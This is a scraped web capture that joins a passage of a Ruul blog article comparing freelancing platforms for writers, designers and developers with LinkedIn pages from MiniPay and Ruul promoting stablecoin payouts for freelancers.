for jobs. Skyword accepts writers through an application process. Once you’re in, it matches you with client projects (for example, tech articles for tech experts). The entire workflow (writing, submitting for review, and so on) is managed through the platform’s software. 🔑 Apply to Skyword with a strong writing portfolio and a clear niche. To get more and better-paid projects, choose a niche that’s not too narrow or too broad, since both extremes can lower your chances of being matched. Key features PayPal-only payments: all work is paid via PayPal. Portfolio upload flexibility: add PDFs or URLs easily. Multi-currency support: payments in 23 currencies. Full remote workflow: assignments handled entirely online. Streamlined talent matching: profiles matched to client needs. Managed payments & support: the company handles all admin tasks. Multi-channel publishing: includes SEO and plagiarism checks. What freelancers think Skyword Capterra Score – 4.4 Freelancer positives: Higher rates than other writing sites. Curious about average freelance writer pay? 👉🏻 Here’s a guide on freelance writer rates . Freelancer negatives: Long gap between submission and payment. Uncertainty about getting assignments. Overall low workload. Platform costs The Skyword team announced that they’ll now apply a 10% fee policy, effective from October 16, 2025 . 2. Contently Contently is a freelancing platform that connects brands with writers. Who it’s best for \| How it works Contently is ideal for skilled writers who want to work with well-known, reputable clients. Contently asks you to create an account and build a portfolio for review. They require at least 10 projects from 3 different clients to make sure they find real, experienced writers, not temporary hobbyists. Your portfolio is reviewed within a few weeks, sometimes up to a month. After that, when a client selects you from the pool, you get a notification with details. If you like the project, you can click “start” to join the client’s team. 🔑 To get accepted by Contently, show one strong main niche and two side niches (for example, main niche: fintech; side niches: career and investing). This helps you stand out in your primary field while still having chances in the other two categories. Key features Star-rating system: Writers rated 2–6 stars. Casting call workflow: Reply to niche project briefs. Idea orders: Pitch ideas, earn per approval. Love list: Clients save favorite writers. Queue control: Unlock more slots after milestones. Payment schedule: PayPal payouts on fixed dates. Industry elite badge: Access premium sector briefs. What freelancers think Contently Truspilot Score – 3.4 Freelancers like: The chance to work with high-profile clients On-time payments with minimal hassle Freelancers complain about: Lack of clear feedback or direction from editors and unclear processes Long gaps between projects and no sense of a steady workflow Platform costs Contently takes a firm stance on not charging freelancers any mandatory fees. I’ve heard they once planned to introduce a 4.75% fee. But after the backlash, they canceled the idea, and freelancers have been receiving their full payments ever since. 3. WriterAccess WriterAccess is a freelance platform created for writers and content creators. Who it’s best for \| How it works WriterAccess is ideal if you want to apply for projects or pick jobs directly from the pool. WriterAccess is a great option if you prefer to work on projects or choose assignments from a freelancing pool. It's also a particularly good option for you if you are a native English speaker, since they allow writers from English-speaking countries like America, Canada, and the UK. WriterAccess then assesses your application, and if you meet the requirements, you gain access to the platform. After that, you are able to take “Crowd Orders,” which freelancers can select from a pool of assignments. On top of that, freelancers may also apply for limited requests from the clients. If a client appreciates your work, they can delegate you jobs directly, which is the best way to earn a sustainable income on WriterAccess. 🔑 WriterAccess describes a copywriter's work in terms of “niche focus, voice consistency, and SEO readable awareness." For instance, a writer may focus on “B2B SaaS product copy” and achieve a readability score of 90 or above by Grammarly. Key features Support: 250M stock images, tools, and conferences Star-rating system: Writers rated 2–6 stars. Casting calls: Apply to client briefings. Idea orders: Pitch ideas for small pay. Industry elite badge: Access premium projects. PayPal monthly payouts: Paid monthly via PayPal. Expert-profile filters: clients find niche writers. Star-level preselection: higher stars get first picks. What freelancers think WriterAccess G2 Score: 4.0 What freelancers like: Relatively better earning potential Projects that can serve as good references for a writing career What freelancers don’t like: Very high 30% commission rate Level system is unclear and doesn’t work well No steady flow of work Platform costs I didn't see any information on WriterAccess's website regarding commissions for freelancers. However, some users on Reddit mentioned that if you earn $10, you only receive $7. This suggests that WriterAccess takes a fee of about 30% . 4. Contena Contena is a platform focused on helping freelance writers find jobs. Who it’s best for \| How it works Contena is suitable for freelancers who want to apply for remote writing jobs. Contena is a paid membership platform designed to “connect quality writers with quality clients.” In fact, the fee works as a way to filter out only serious professionals. That’s why the platform charges both clients and freelancers. When you sign up, you’re first placed on a waiting list. Once new members are accepted, you’ll get an email confirming your approval. After that, you’ll gain access to a large pool of remote and freelance job listings where you can start submitting proposals. Once you find enough clients to keep you busy, you can keep working with them outside the platform and cancel your membership if you want. That’s perfectly fine, since Contena isn’t a marketplace and doesn’t have a “you can’t take clients elsewhere” rule. 🔑 Contena also offers courses and coaching to help writers improve their skills. This can be especially useful for newcomers to strengthen their work and impress clients more. Key features Curated job board: hand-picked remote writing gigs. Job filters: sort by category and pay. New match alerts: email updates for fits. Training + coaching: access to Writer Academy. Integrated dashboard: track pitches and tools. What freelancers think Not enough user reviews for a rating. Writers like: The carefully selected jobs feel trustworthy Training and support materials help with skill growth Working with good brands is motivating Writers don’t like: There’s a membership fee ($997/year), but no job guarantee It’s not a marketplace, so no payment protection or invoicing Platform costs Contena memberships start at $997 per year or $83 per month. The platform doesn’t take any commission from what you earn from your clients. Best freelancing websites for designers 1. Behance Behance is the largest portfolio, job-finding, and social networking platform for designers. Who it’s best for \| How it works Behance is ideal for designers who want to build an online presence and impress clients. Behance offers you a landing page that allows you to advertise your services (i.e., "Logo design: $500") and to show your best work. The goal is to attract potential clients to reach out directly to you and offer you work through your page. Client offers typically include a budget, timeline, and a brief note. If the terms are acceptable, simply accept and set up your own payment terms. Communications occur through the platform, and we process payments via Stripe. Additionally, you can submit applications for job postings via Behance, so your portfolio serves essentially as a fast digital resume. You can also sell digital goods. The platform supports 25+ file types (like JPG, PNG, PDF) and files up to 500 MB. 🔑 Design is storytelling on Behance. For every project card, share the trail of the moodboard → design process → final result . The more stories you tell, the more chances to WOW clients and get that “Hire Me” button clicked. Key features Freelance inbox: send and receive project requests. Stripe payments: request and manage payments easily. "Hire Me" toggle: set profile to work-ready. 0% fees (Pro plan): no commission cut. Advanced analytics: see traffic and keywords data. Custom portfolio: create sites through portfolio via Adobe. Featured freelancer: badge and a boost on your Hire-page. What freelancers think Behance G2 Score – 4.5 Designers said they like: The biggest community hub for designers Free to sign up and upload work Integration with the Adobe ecosystem Designers said they don’t like: It’s easy to get lost, even if your work is great The “Discover, search, recommended” algorithm works poorly It’s portfolio-focused, so it doesn’t always meet job expectations Platform costs Behance charges freelancers the following fees: 5% for projects between $1–$500 2% for projects between $501–$2,500 0% for projects over $2,501 (surprising but true 😳) If the freelancer is a Behance Pro member, neither the freelancer nor the client is subject to a platform fee. Behance Pro subscriptions start from $9.99. 2. Dribbble Dribbble is a portfolio, job-finding, and community platform for designers. Who it’s best for \| How it works Dribbble is a great option for anyone who is looking to turn their portfolio into a client-finding tool. Dribbble allows you to sign up for free and create a customizable portfolio page. You can upload your work, utilize the new “services” feature , and include a description about yourself in the “about” section. For designers, Dribbble gives off a total Instagram vibe. When you post “Shots,” it has all the same energy, plus the likes and comments, and follow buttons. Basically, you’re finding work and building a network through your portfolio. If clients discover you through your Shots on Explore or via search, they can hire you using the “Get in Touch” button. In that case, you’ll receive a proposal from the employer that includes the project details, target date, and project budget. There is also a job listings section for people who just want to apply for jobs. And you can sell digital products too. But to do that, you need to open a Dribbble shop, which is available only with the Pro plan. 🔑 Dribbble is big on activity and keywords. Posting a series of shots every day or week can help you be discovered more easily. Additionally, populating your profile and titles with keywords will help raise your profile in organics. Key features InstantMatch: appears in the live client queue. Escrow payments: funds held until approval. Service listings: sell scoped offers on profile. Search boost: Pro users rank higher. Portfolio funnel: shots link to client leads. Global discovery: clients find talent by niche. What freelancers think Dribbble G2 Score – 4.2 Designers like: “Shots” posts can attract engagement and new clients Different ways to find clients: direct contact, InstantMatch, and job posts Designers complain about: Hard to get organic visibility, with strong pressure to pay for ads Risk of scams and spam (projects that seem too good to be true) Visibility doesn’t really improve even after upgrading to a Pro plan Platform costs Dribbble normally takes freelancers a 3.5% commission. But with a Pro plan, the commission drops to "zero". The Pro plan costs $16 monthly, and it is only $8 per month if you choose to pay annually. 3. Contra Contra is a social media-like job search and community network for designers. Who it’s best for \| How it works Contra is ideal for designers who want to build an online presence to find work and grow their network Contra combines portfolio, services, sales, and a broad creative community. Its biggest competitor? Yes, the very similar Dribbble. Client-finding options are also similar (direct contact from your profile or job listings). The social, post-based interaction also feels a lot like Dribbble. However, Contra’s social side is more active and noticeable. People engage more, and the vibe feels closer to Twitter than Instagram. Features like $50K prize contests, written posts, mentions, and even reposts show that (some of which seem to be quite new). Key features Built-in contracts: send and manage invoices. AI portfolio builder: auto-generate case studies fast. Discoverable directory: appear in the client search hub. Multi-currency payments: supports PayPal, USDC, and deposits. All-in-one hub: manage work and payments together. Pro upgrade: custom domain and analytics. What freelancers think Contra Truspilot Score – 3.3 Freelancers like: Always 0% commission policy Modern, regularly updated interface The platform feels active overall Freelancers don’t like: Complicated onboarding with too many steps Constant pressure to upgrade to a paid plan Platform costs Contra doesn't charge you a commission on your earnings. However, many users claim that upgrading to the Pro plan feels almost obligatory. The Pro plan, which includes features like built-in AI, costs $199 per year or $29 per month. 👉🏻 Contra Guide 4- Designhill Designhill is a platform created for all kinds of creative professionals. Who it’s best for \| How it works Designhill is great for designers who want to earn money in multiple ways. After creating a free account, you’ll need to build a strong portfolio. Be sure to include your best work samples, an “About” section, and your available services. This way, clients can hire you directly from your profile. You can also list your services similar to Fiverr gigs. For example, a minimal logo design for $300. In addition, you’re allowed to sell ready-made design materials like product mockups, social media templates, or whatever creative assets you offer. Key features One-to-one projects: Negotiate directly with clients. Weekly payouts: Withdraw via PayPal or Payoneer. Contest pool: Earn through open design contests. Vetted directory: Only approved designers work. Skills-filtered jobs: Browse niche-matched listings. Logo store: Sell pre-made designs for royalties. What freelancers think Designhill Trustpilot Score – 4.7 Freelancers praise: Secure payments and 24/7 support Freelancers complain about: Wasted effort if they don’t win contests Pressure to upgrade to a paid membership Platform costs The pricing structure is complicated, and there’s no clear data available. Best freelancing websites for developers 1. Arc Arc is both a freelance & remote job platform and a career network for developers. Who it’s best for \| How it works Arc is suitable for developers at the mid and expert levels who want to work on overriding projects. Previously, Arc only accepted developers who applied for membership. Now, it accepts all developers. As a free member, you can now access Arc's remote job board and search and filter freelance and full-time listings to apply directly. But if you say, "I want to be matched to jobs," you must be "Verified." For this, Arc has an assessment that is "Silicon Valley-caliber" (communication/English, technical ability, etc.). Those who complete this process are tagged "Verified/Top 2%" and matched to clients. 🔑 To gain verification on Arc, ensure that your GitHub profile reflects active commits over the past 3 months and at least one production-level project (e.g., React + Node.js). During the interview, be comfortable explaining why you selected that architecture. Key features Pre-vetted pool: Tests ensure proven expertise. Flexible contracts: Choose hours and rates. Direct interviews: Meet hiring managers directly. Transparent specialties: 60+ skill categories listed. Global remote work: Open to all locations. Algorithm + human matching: Hybrid job pairing system. Trial periods: Short tests before full contracts. What freelancers think Arc Trustpilot Score – 4.5 Freelancers love: Curated talent pool and high-quality jobs Connections with prestigious clients Professional and solid support system Freelancers complain about: Long unclear vetting/onboarding process Low responses after applying Platform costs Arc never charges freelancers at any stage. 2. Codementor Cozementor is a platform for developers and aspiring developers to learn, find jobs, and provide mentorship. Who it’s best for \| How it works Codementor is ideal for new developers who want to teach others, find clients, or get mentorship to improve their skills. You can use it in three ways as a developer or aspiring developer: Become a mentor → You need to apply to Codementor. Work as a freelancer → Apply to client projects, not to Codementor itself. Learn or improve your skills → No application required. Codementor combines learning and working. You can start as a student, then become a mentor or take on client projects as you grow. 🔑 To get accepted as a mentor, complete your profile fully and add your social and technical proofs. The platform accepts not only top developers but also those who show strong mentoring potential. Key features Vetted expert network: Screened for skill and communication. Live 1:1 sessions: Offer instant or scheduled help. Hybrid workflow: Combine mentoring and projects. Project-based work: Take fixed or hourly jobs. Global tech pool: Matches across time zones. Mentor brand boost: Gain credibility and exposure. Built-in tools: Live coding and code review support. Multi-engagement options: Choose session or long-term work. Mentor-to-freelance path: Grow into higher-value roles. What freelancers think Codementor Truspilot Score – 4.0 Freelancers love: A platform where your skills are valued and can stand out. It gives a sense of security, smooth payment processes, and professional use. Freelancers complain about: Platform commission is high for mentors – it can go up to 22%. One day work is great, the next day there might be none at all. Platform costs Codementor takes the mentor’s 15-minute session fee first, then starts charging per minute. Extra service fees are also deducted for each transaction. 3. Gun.io Gun.io is a prestigious freelancing platform designed for software developers. Who it’s best for \| How it works Gun.io is ideal for freelancers who want to match with quality clients as verified software developers. Gun.io only allows top-tier developers into its network of talent via an application and review process. If you get in, you will automatically be matched with high-quality client projects. There’s no bidding process here, so you get to ditch the chase for clients. To begin with, it requests a talent profile: details about past work experiences, programming languages you are familiar with, preferences, etc. Then, they'll utilize the vetting process: a coding test a technical interview with a senior engineer a contract interview 🔑 Usually, they take in about 100 of the 1,000 applicants. However, to improve your chances, you want to stand out with experience, good communication, and soft skills on video interviews (camera background, your appearance, and your lateness). Key features Keep full rate: Freelancers keep 100% earnings. Rigorous vetting: Includes tests and interviews. Talent team support: Guided role introductions. Managed payments: Contracts and billing handled. Rate tool: Helps set competitive pricing. Vetted client pool: No open bidding system. Long-term contracts: Access to ongoing roles. What freelancers think Gun.io G2 Score: 4.5 Freelancers love: The chance to work on serious, long-term projects rather than micro-tasks The ability to set their own rates, which feels empowering Freelancers dislike: Submitting dozens of applications with zero response A selective and unclear vetting or approval process Frequent complaints like “I’m experienced, but still not getting picked” Platform costs Gun.io never charges developers at any stage, they only take fees from clients. However, they mention that their clients are willing to pay above-market rates for “high-quality” developers. FAQs 1. What is the best website for freelance work? Ruul is the best all-in-one freelancing platform for indies who want to work with clients globally. It combines portfolio, payments, invoicing, and client management, allowing freelancers to get paid quickly and to work without a business structure. 2. What is the best freelance website for beginners? Fiverr, Upwork, and Freelancer.com are easy options for beginners. Fiverr lets you sell Gigs ready for sale, and Upwork and Freelancer.com help you apply to real client jobs. These are good for experience, reviews, and income, even if you have never done a freelance job. 3. Which freelancing site pays the most? Toptal pays the most for freelancers by connecting the top 3% of talent to the highest-paying clients. It charges no freelancer fees, guarantees consistent, well-paying contracts, and only focuses on experienced developers, designers, and finance talents. ABOUT THE AUTHOR Canan Başer Developing and implementing creative growth strategies. At Ruul, I focus on strengthening our brand and delivering real value to our global community through impactful content and marketing projects. More Tackling The Challenges Of Working From Home Tips for working from home during the pandemic include creating a well-equipped home office, setting physical boundaries, making a shared schedule, dividing household chores, and encouraging solitary activities for kids. Read more What are the Legal Aspects of Credit Card Payment Methods for Freelancers? Freelancers: Are you aware of the legal rules for credit card payments? Read on for crucial details! Read more Etiquette for Zoom meetings Master Zoom meeting etiquette with our essential guide. From dressing appropriately to managing interruptions, elevate your virtual presence! Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://www.linkedin.com/company/opera-minipay?trk=organization_guest_main-feed-card_feed-actor-name	MiniPay \| LinkedIn Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Join for free MiniPay Financial Services Fast, simple, global payments for everyone. Powered by stablecoins and built for the next billion users. Follow View 1 employee Report this company About us Reinventing how value moves in a world that never stands still. People today live globally; earning, creating, and connecting across borders. Designed for the new global lifestyle, MiniPay makes everyday digital payments effortless — whether you’re a traveler, supporting family, buying online, or earning across borders. What MiniPay delivers - Global transfers with near-zero fees - Universal spending. Use your digital dollar balance across markets and platforms. -Smooth cash-in and cash-out to local currency through trusted partners. Since launch, MiniPay has activated 11+ million users across 63 countries, becoming one of the fastest-growing global wallets of its kind. Website http://minipay.to/ External link for MiniPay Industry Financial Services Company size 11-50 employees Type Public Company Employees at MiniPay Lucas H See all employees Updates MiniPay 148 followers 3w Report this post Supporting Freelancers in a Global Economy! Cross-border payments remain a significant challenge for freelancers working internationally. MiniPay provides a solution by enabling fast, secure, and cost-effective payments in stablecoins. This allows freelancers to receive payments in USD without the usual delays or conversion complexities, providing predictability and operational efficiency. The case of Richie, a freelance content writer, illustrates how MiniPay simplifies global payment flows, allowing professionals to focus on their work rather than administrative hurdles. Watch the full video here: https://lnkd.in/e7-mGFEA …more Stablecoins are for: The Freelancer https://www.youtube.com/ 1 Like Comment Share MiniPay 148 followers 3w Edited Report this post CodeYetu #kidsthatcode #kidsthatcode is a small, community-based NGO in Kenya working with children aged 6–18 from underserved communities. Their focus is simple and practical: partner with local institutions, work with local trainers, and deliver consistent, hands-on coding education. In Kenya, only about 43% of schools offer structured computer studies, most of them in higher-income areas. For children in low-income communities — and especially for girls — early access to digital skills remains limited. In 2024, CodeYetu was listed in the MiniPay donations Mini App which meant instant visibility and access. Through MiniPay, CodeYetu became discoverable to 11M+ wallets across 60+ countries, allowing donors to contribute using local currencies and familiar payment methods. Donations can be withdrawn into Kenyan Shillings and disbursed locally through the same system. That reliability mattered. As founder Asha puts it: “MiniPay has been very resourceful in assisting us to raise and disburse funds to our trainers all year long. All our trainers are now onboarded and receive payments via MiniPay.” This is what on-the-ground impact looks like when donations meet the right tools. 🔗 Donate to Code Yetu: https://lnkd.in/eTbinDjw 9 Like Comment Share MiniPay 148 followers 1mo Edited Report this post From Kibera to a global financial future. Meet Brian, our second story in the Stablecoins are for series produced in 2024—a student from Kibera, Nairobi, and a MiniPay Ambassador who is rewriting what opportunity looks like. Through his work with MiniPay and community campaigns, he’s been able to support his education, care for his family, and build real financial independence. This is what access to a hedge against inflation and fast, simple, borderless money can unlock. True transformation. Watch his story. 👉 https://lnkd.in/ehvx3unM …more Stablecoins are for: The Student https://www.youtube.com/ 8 1 Comment Like Comment Share MiniPay 148 followers 1mo Report this post When things go wrong on the road, hold on to your wallets. For Niko, that advice became very real, very fast. As a Web3 founder traveling across Kenya and Nigeria, exploring where blockchain’s real value is being built. Mid-trip, he lost his wallet. Cards gone. Cash gone. What stayed with him? MiniPay. Using only Stablecoins, Niko was able to: - Pay local merchants instantly - Move freely across borders - Transact like a local This is what borderless money looks like in real life. Watch his story in our “Stablecoins are for…” series. 👉 https://lnkd.in/dPUVWuh3 …more Stablecoins are for: The Traveler https://www.youtube.com/ 11 Like Comment Share MiniPay 148 followers 1mo Report this post Big news from Binance Blockchain Week! Opera and the Celo Foundation are extending our strategic partnership. Our shared mission is simple: make stablecoins truly useful for non-crypto natives in emerging and developing markets, so anyone with a smartphone can save, send, and spend with confidence. Powered by Celo, MiniPay now: - Reached 11M+ activated wallets and 300M+ transactions - Helps make Celo the #1 Ethereum L2 by DAUs and #1 USD₮ transport layer by WAUs - Connects stablecoins to real-time payments via PIX, Mercado Pago, and more coming soon Next up: stablecoin-backed cards, Tether Gold (XAUt0) for inflation-resistant savings, and a Mini App Roadshow across Asia and South America in 2026. Download MiniPay on iOS or Android and experience instant, on-chain payments built for everyday life: https://minipay.to 48 5 Comments Like Comment Share MiniPay 148 followers 1mo Report this post MiniPay now lets you turn your funds into gold with MiniPay’s newest Mini App available directly through our Discover page in collaboration with Squid Router. Why this is powerful: • Swap your stablecoins for tokenized gold (XAUt0) • Backed by physical bars stored in Swiss vaults • Buy and hold gold starting from just 1 USDT • Access one of humanity’s oldest, most trusted stores of value — now on-chain Gold has been a global standard long before stablecoins or banks existed. Today, it’s tokenized and accessible inside MiniPay — bringing a timeless store of value to everyday users in a modern, seamless way. Learn more: https://lnkd.in/e8AX-idY Like Comment Share MiniPay 148 followers 1mo Report this post Big news for freelancers, entrepreneurs, creators & expats: with the rollout of Virtual USD & EUR Accounts inside MiniPay, powered by our partners at Noah, you can now get paid globally more smoothly than ever before. For too long, cross-border payments have been riddled with delays, high fees and geographic restrictions. MiniPay’s Virtual Accounts solve this by giving users: • Your own US & EU bank details for receiving USD (ACH) & EUR (SEPA). • Zero Fees: Receive funds with zero deposit fees and cash out to local currency with zero withdrawal fees. • Instant Stablecoin Access: Get paid and access your funds immediately, avoiding long international wire delays. This is a game-changer for anyone earning on platforms like Deel, Upwork, Fiverr, Amazon, Youtube and more. This is the solution global professionals have been waiting for. Get started here: https://lnkd.in/em3vsyxV 1 Like Comment Share MiniPay 148 followers 1mo Report this post We’re excited to announce that MiniPay is partnering with Ruul , enabling instant payouts powered by stablecoins, no receiving fees and the ability to withdraw to the preferred local payment method at zero fees for global freelancers. This collaboration creates an industry-first payment solution that enables freelancers to sell digital services in traditional fiat currency whilst receiving payouts seamlessly converted into stablecoins, combining Ruul's global reach across 190+ countries with MiniPay's established presence in 60+ markets. With Ruul now directly connected to the MiniPay wallet, global freelancers will receive $25 extra when receiving their first payout over $100 through MiniPay. Users can link their Minipay wallets to Ruul with a single click, immediately enabling stablecoin payouts for their digital services and products. Learn more: https://lnkd.in/eupqsuWc 8 Like Comment Share MiniPay 148 followers 1mo Report this post A new way to spend stablecoins rolled out in MiniPay during Devcon in Buenos Aires! We're excited to share that users can now pay like a local and spend their stablecoins directly through local payment methods such as 🇦🇷 Mercado Pago and 🇧🇷 PIX, powered by our friends at @ Noah. Why this matters: • Save money by avoiding traditional card fees • Pay seamlessly by scanning QR codes • Enjoy a more local, intuitive payment experience across Latin America And that’s not all — as part of our broader expansion across the region, we're also introducing new partner offerings inside MiniPay, giving users even more ways to move money instantly and transact with transparent pricing and trusted counterparties - also expanding to Canada. Learn more: https://lnkd.in/e795nev2 Like Comment Share Join now to see what you are missing Find people you know at MiniPay Browse recommended jobs for you View all updates, news, and articles Join now Similar pages Celo Foundation Non-profit Organizations Ruul Software Development The Insurance Training College Higher Education Meru Financial Services Hurupay Financial Services San Francisco, California Noah Financial Services London, Greater London Rupeezy Financial Services Bengaluru, Karnataka OPay Financial Services Alausa, Ikeja., Lagos Opera Software Development HumanDesign.ai Staffing and Recruiting Show more similar pages Show fewer similar pages LinkedIn © 2026 About Accessibility User Agreement Privacy Policy Cookie Policy Copyright Policy Brand Policy Guest Controls Community Guidelines العربية (Arabic) বাংলা (Bangla) Čeština (Czech) Dansk (Danish) Deutsch (German) Ελληνικά (Greek) English (English) Español (Spanish) فارسی (Persian) Suomi (Finnish) Français (French) हिंदी (Hindi) Magyar (Hungarian) Bahasa Indonesia (Indonesian) Italiano (Italian) עברית (Hebrew) 日本語 (Japanese) 한국어 (Korean) मराठी (Marathi) Bahasa Malaysia (Malay) Nederlands (Dutch) Norsk (Norwegian) ਪੰਜਾਬੀ (Punjabi) Polski (Polish) Português (Portuguese) Română (Romanian) Русский (Russian) Svenska (Swedish) తెలుగు (Telugu) ภาษาไทย (Thai) Tagalog (Tagalog) Türkçe (Turkish) Українська (Ukrainian) Tiếng Việt (Vietnamese) 简体中文 (Chinese (Simplified)) 正體中文 (Chinese (Traditional)) Language Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Sign in to see who you already know at MiniPay Sign in Welcome back Email or phone Password Show Forgot password? Sign in or By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . New to LinkedIn? Join now or New to LinkedIn? Join now By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy .	2026-01-13T08:47:56
https://www.linkedin.com/posts/ruul_freelancers-mapped-stablecoin-demand-gbtd-activity-7405222966424227840-FuGm	Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. \| Ruul Agree & Join LinkedIn By clicking Continue to join or sign in, you agree to LinkedIn’s User Agreement , Privacy Policy , and Cookie Policy . Skip to main content LinkedIn Top Content People Learning Jobs Games Sign in Create an account Ruul’s Post Ruul 7,110 followers 1mo Edited Report this post Stablecoins aren’t a future concept for independent professionals, they’re infrastructure. At Ruul, we work with 120k freelancers, and nearly one-third of our payments now settle in stablecoins, proving that speed, cost efficiency, and programmability aren’t theoretical benefits. In this article, Eran Karaso , Chief Operating Officer at Ruul, breaks down what freelancers have already proven, and what GBTD needs to get right to succeed. Read more 👉 https://lnkd.in/dW58_P45 Freelancers mapped stablecoin demand. GBTD can deliver the infrastructure. globalbankingandfinance.com Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in More Relevant Posts SwiftFi 23 followers 1w Report this post Gen Z freelancers aren’t asking for stablecoin payments: they’re demanding them. Why? Because speed matters, and so does reliability. The traditional banking maze means delays, FX fees, and unpredictability. Freelancers move fast, live global, and expect their money to do the same. But conventional platforms drag their feet while currencies swing and fees eat into creative wins. Stablecoins like USD-backed digital assets provide instant transfers, low fees, and real protection against currency volatility. That means Gen Z can focus on the future: not worry about delayed payments or devalued income. At DecentHash, we’re proud to deliver solutions that keep freelancing frictionless, global, and secure. Welcome to the new standard in digital payments: where your hustle pays off the moment you’re done. #FreelanceFuture #PayReady #DecentHash Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Elliot Kerdel 1mo Report this post 🚩 A Reminder for Business Owners: Transparency Isn’t Negotiable I’ve met some fantastic freelancers on Fiverr over the years — genuinely talented, reliable people who deliver excellent work. But like any platform, there are always exceptions. This week I encountered one of those exceptions. A freelancer who claimed to be based in Australia and operating under an ABN insisted on being paid in Bitcoin. When I declined (for obvious compliance and auditing reasons), the response was immediate aggression. Here’s the takeaway: 🔍 1. In Australia, legitimate freelancers don’t ask for crypto. If someone has an ABN, they’re operating within the ATO framework. Crypto payments remove traceability, accountability, and proper invoicing — a combination that simply doesn’t make sense for a legitimate operator. 💡 2. Aggression is always a red flag. Professional people don’t react with hostility when you request standard, compliant payment methods. When someone becomes abusive after being told “no,” it usually means the deal required pressure to succeed. 🧭 3. Trust the basics: compliance, clarity, and paper trails. If something feels off, it probably is. If payment terms don’t align with the person’s claimed structure, it’s a sign to step back. 🤝 4. Business should be built on transparency — not secrecy. Clear invoicing, traceable payments, and open communication aren’t optional. They’re the foundation of trust. In a digital-first world — especially with global freelancing — stay sharp, trust your instincts, and remember: Professionalism doesn’t require pressure, and transparency never requires crypto. And while platforms like Fiverr offer access to incredible talent, it’s still essential to vet each individual and protect your compliance processes. #BusinessEthics #FiverrExperience #SmallBusinessTips #Freelancing #DigitalBusiness #EntrepreneurLife #LeadershipInsights #BusinessTransparency #AustraliaBusiness #Professionalism Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in SwiftFi 23 followers 2w Report this post Why are we still waiting on wire transfers when 93% of freelancers are asking for stablecoin payments that arrive in seconds, not days? The old way is slow, expensive, and leaves global talent in limbo while paperwork and time zones do their worst. At DecentHash, we believe money shouldn’t be held back by borders or bureaucracy. Instant payments, low fees, and automatic currency conversion mean freelancers get rewarded for their work exactly when they need it: no more chasing payment updates or worrying about lost transfers. The future of work is decentralized, global, and powered by stablecoins. We’re proud to help ambitious businesses and remote teams celebrate fast, reliable payouts so everyone can focus on what matters: building tomorrow, together. Ready to break up with wire transfers? Let’s move money forward. #FreelanceFinance #StablecoinRevolution #DecentHash #InstantPayments #FutureOfWork Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in SwiftFi 23 followers 2w Report this post Freelancers know it best: waiting days for payments to clear, incurring heavy fees, and wrangling with outdated forms should be a thing of the past. While traditional banks charge ahead with red tape, the global community is choosing stablecoins – and the numbers speak for themselves: stablecoin transfers have surged 300% in 2025 alone. Stablecoins unlock instant, borderless payments, removing friction and empowering digital talent worldwide to earn, save, and spend on their own terms. At DecentHash, we're proud to fuel this movement, offering the fastest payouts and simplest payroll solutions for entrepreneurs on every continent. Let's champion a payment system built for the future: where freelancers thrive and innovation knows no borders. #DecentHash #FreelanceEconomy #Stablecoins #FutureofFinance Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Softlist.io 69 followers 3w Report this post Getting paid worldwide shouldn’t feel like smuggling cash across borders. These 7 digital wallets make global payouts smoother than your client’s “quick revision” request. 🌍💳 Lower fees for cross-border transfers Faster international payouts Wallets built for freelancers & global teams Find the wallet that actually works for how you earn. 👉 https://lnkd.in/eAC5JA8x Send, receive, repeat, minus the financial drama. #DigitalWallets #GlobalFreelancers #CrossBorderPayments #Fintech2025 #RemoteWorkLife #OnlinePayments #SoftlistGuides Top 7 Digital Wallets for Global Freelancers & Businesses https://www.softlist.io Like Comment Share Copy LinkedIn Facebook X To view or add a comment, sign in Robel Birhanu 1mo Report this post 7 Best Digital Banks in UK (for Freelancers of 2026) The UK's freelance boom means we’ve had to ditch the old ways. Traditional high-street banks, with their agonizing setup times, confusing fee structures, and need for in-branch visits, simply don't serve the modern, agile sole trader. I know this because I've spent years dealing with them. This is why digital banks—built on streamlined apps, transparent fees, and crucially, smart admin tools—are now the default. As a long-time freelancer, I can tell you that an account that actively reduces administrative burden isn't a bonus; it’s a direct link to profitability. The seven options explored below offer a range of specialized features, moving beyond simple transactions to provide the support needed for successful independent work. For more, visit: https://lnkd.in/d-rScS2Y #DigitalBankUK #FreelanceFinance #Fintech2026 #SoleTraderLife #UKFreelancer #BusinessBanking #DigitalNomadBank #MoneyManagement #SmallBusinessUK 